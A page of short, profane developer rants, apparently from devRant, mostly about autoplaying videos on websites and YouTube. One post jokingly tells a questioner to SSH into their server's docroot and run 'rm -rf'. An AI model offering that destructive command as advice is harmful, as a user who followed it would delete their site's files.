So I like to put on some music while I shower.
For some godforsaken reason I put YouTube on autoplay.
Ended up listening to a 5 minute ad instead.16 -
I don't fucking understand this. Why the hell does every website has a autoplay video in their website?
I don't want to see your fucking video when I open your article, I am fucking trying to read something.11 -
Facebook videos will soon autoplay with sound.
It's like I didn't have enough reason to leave facebook already.17 -
- Cookie warnings
- Autoplay videos
- "It's better on the app!"
- Surprise paywall
- Newsletter popups
- "Sorry, this content is not available in your region!"
- Lazily paraphrasing another website without disclosing the source in an obvious way
- Anti-adblock popups
- "Become a pro-member today: starting at $4.99/month!"
- "Sign up here to get my free e-book! :)"
- "keep reading" button to load the rest of the damn article
- "We have a podcast!"
- ...
I hate the current state of the web.13 -
WHY THE BLOODY HELL does everything auto play, if I wanted to see your video I would click play, DO NOT ASSUME I want o see your shitty video.7

Someone on a Facebook group asking how they can make a video auto-play with sound at maximum when a visitor hits the home page.
Me: Here’s how: Log into your site via SSH and cd to the docroot. Type “rm -rf” and hit Enter. Then throw your laptop in the river and go work at McDonald’s. Because if you are stupid enough to ask this question, you are too stupid to be allowed to own a website.7 -
This peice of shit PCWorld website. The fucking websites is auto playing video before it has even loaded the page completely. Fuck you fuck you PCWorld.4

Was searching how to embed youtube video in html and found this in w3schools..... The guy who wrote this turorial hates auto play i guess.... It really is annoying 😡10

Chrome to stop autoplaying content with sound starting 2018. I fucking love Google 😁

when your boss can't distinguish back end from front end web dev
I admit the lines are blurred, but the guy whose background is pure front end probably shouldn't be designing databases, and I'd rather not spend my days trying to make videos autoplay on mobile on the company website7 -
Manager: we want to autoplay a video on the homepage of the eCommerce site, and links to go to the blog.
Hmm, do you have "getting bounce rate to 100%" as one of the goals this quarter?2 -
I spent hours figuring out why my html5 video autoplay didn't work on Android. I muted it like they said, I tried many different ways to play it, even with a 3rd party video player, nothing worked. It's actually because my Google Chrome was on data-saving mode. Motherfuck.2

I don't get why we need videos to auto play on some websites.
I was in class today browsing the news, clicked on an article and forgot my laptop speaker volume was still at max. Guess what happened? Autoplay. Not even the video from the article but AN AD, for a moment the prof. paused and everyone looked around, but I quickly hit the mute button so it did not last too long.
Who ever thought autoplay (WITH ADS) was a good idea?6 -
I honestly maintain a positive opinion that almost (again read almost) all devs are not inherently evil. Those who are made do those autoplay vids were probably asked by management, the game devs at EA are forced to use Frostbite which isn’t suitable for everything, like RPGs, and Apple devs aren’t trying to maximise profits by limiting so much to the consumer world (e.g the bloody XCode license), but are forced in by this corporate model.
A lot of shit is given to devs and sometimes I think it’s undeserved. In their shoes most people would too go against their moral compass if it meant that they won’t lose their jobs. I’m sure when battlefront was in the works it wasn’t the devs that came up with that whole shitstorm model.2 -
youtube's autoplay algorithm has made me discover some interesting gems on the internet.
but fucking damn it if it doesn't like to replay the same 15 songs you like. every fucking time.
like you know I like this band. SHOW ME OTHER SONGS OF THIS BAND GOD FUCKING DAMMIT. I KNOW I LIKE THESE 5 SONGS ALREADY.4 -
I didn't know "bandwidth" can be so hard to understand even after 2 hrs explaining..client still wants widgets with autoplay videos..God why?4
-
Realised I never post on devrant. Maybe I should. Todays tame rant
Never trust intune when it says a group policy has been successfully applied and had to use powershell instead. What is the point of you settings catalog if you lie to my face.
Gaslighting buggy Crap making me look bad.
Have you disabled autoplay yes on these devices.
Looks at fully synced device dafuq7 -

It is incredible how Google got big with good webdesign and now manages to build the shittiest frontends.
It's not enough that YouTube is super slow and breaks every other time I use the "back" button in the browser. When it only forgot my language & theme settings every couple of months that was still too high quality for Google's dogshit standards, so now they made another downgrade: Whenever I set another language it immediately resets it to the language Google thinks I should speak, and at the same time resets the region to where Google thinks I live. Oh, and I have to disable autoplay for every video individually now cause who the fuck uses cookies nowadays right?
Do they also change the language if I travel to another country because those fucks never leave Silicon Valley and can't comprehend that concept?
Google is the Microsoft of web design.4 -
What the fuck is up with Facebook's video player. How the fuck does the biggest social media platform on the planet, fuck up something so important to it. The UX is garbage, autoplay is a cunt with it starting at maximum volume each fucking time. Fucking EllenTube is better than that fucking shit.7
-
I honestly hate dealing with promises in JavaScript. Asking permissions just to autoplay a video just like the client requested.6
-
music, and ranting against youtube for their weird autoplay features. How in the world can they go from Korn - Twisted transistor to Bonjovi ????
Beer at night, that really helps me, except after the 4th, i start to make shit code, and read devrant even more xD -
Been a ReactJS user for a year, today thanks to: @
chrisrhymes, @Devnergy, & @Hammster I decided to go into Vue, so much I like what I'm seeing.
For those that used both, what difference have you found in terms of performance and output size?
Oh, and using their nice resource: https://laracasts.com/series/...5 -
Most awesome game ever! It mostly plays by itself and cheats... or maybe it a bug: You (as Autoplay) don't have to beat all the NPCs to advance....
Strangely it feels sort of familiar... O right bc I usually God Mode all games..... But still need to play thru them manually.
Also there's some Chinese left in one of the buttons... they forgot to translate... But maybe that's... Most of time all we care about is the graphics and seeing rank go up....3 -
So some of you might know I'm facing youtube iframe issues, to autoplay them in mobile
Background:
> https://devrant.com/rants/1449270/...
> https://devrant.com/rants/1450121/...
So few weeks later I found a solution to make it work the way it should in mobile i.e. to autoplay after a click on svg play button,
The logic I used https://codepen.io/briangelhaus/...
Boy oh boy I was so fucking happy, jumped out of my chair basically, So I grab a couple of android devices and it works
Enter infamous E-Corp Apple, the logic I used will never work on any apple devices, because apple do not allow autoplay on mobile, So I was like "okay, no worries"
I tell this news to my manager who is aware that I am working on this since weeks and he looks astonished for a millisecond when after hearing the same can't be done Apple, Tells me "then the issue is not fixed"
Well, you're not wrong, but a little appreciation to a trainee / jr dev who accomplished this by manipulating this would mean a lot for me.
And to Apple and Youtube Iframe API, FUCK YOU3 -
The only time I want a video to autoplay with sound is when I am on a site that is exclusively for videos, like Youtube, or if any other that exists.2
-
I'm worried that this question will probably get downvoted on SO and I cannot post from my account as well, so here it is..
How to play youtube embedded video in mobile over a custom button / svg / image ?
One idea I'm currently working on is to trigger &autoplay=1 onclick but it is only appending that parameter to existing URL?
Please let me know if you have any thoughts, and I'm doing this for only mobile devices only
P.S I cannot use YouTube API11 -
Dev goals for 2022? Best and worst DX in the past?
Wish to prioritize customers with useful business goals who are open to sustainable web dev, usability and accessibility.
Want to use even more CSS and find a way to use new features like parent selectors without sacrificing compatibility.
Continue learning and using Symfony, but also continue with my full-stack side project using JS or even better TypeScript for the backend also for the backend.
Best developer experience: getting new customers for my own business after leaving a company last winter.
Worst developer experiences:
Corporate customers with large budgets and design agencies seem to fancy all the antipatterns I thought bad and obsolete, like carousel content, animations everywhere, and autoplay videos on the home page. Poorly written, poorly thought, and sometimes contradictory, requirements. Customers and agencies changing their mind halfway through a project.
"Agile" daily meetings, not giving devops necessary repository permissions, and making Webpack mandatory for no real reason.2 -
Start with this
https://youtu.be/SH8wDkqA_50
followed by this
https://youtu.be/9fwWS6Xo1go
After that if I'm still concious enough of the surroundings this
https://youtu.be/fXrpnl3NkFE
When I think I've tried everything and nothing seems to get the job done like it should be, I blast this
https://youtu.be/ZUNNXecb6nA
If all of the above & subsequent autoplay run out before I solve the task, I say fuck this shit and switch to minor tasks to clear my mind..
If I succeed, I play the mandatory victory song

Hello.I´ve been making my first html page and

</audio>
Any help will be welcome : )16 -
Has anyone used or seen a nice lua back end wrapped already in a windows front end programming platform, I have made many apps do many things in a app called AutoPlayMediaStudios, even tho it was made for AutoPlay Menus at first the tools it as and can make are epic but it's getting past it and the support is bad for $300 you get the app at that time and 6 months support and update after that you get NO updates and no real support.
I looking to move forward,there is the option to learn a new language for most people but for me I do it for fun and I just want to be able to keep supporting the tools I already made but in a more updated platform and better windows integration.
I love lua as its 90% if not 100% readable and understandable so when I get a error I can see it easy.
Love to see what other apps might be out there, also I don't want to make overlay apps I want to make core exe's fk MS's overlay bull.
Thanks for reading.1
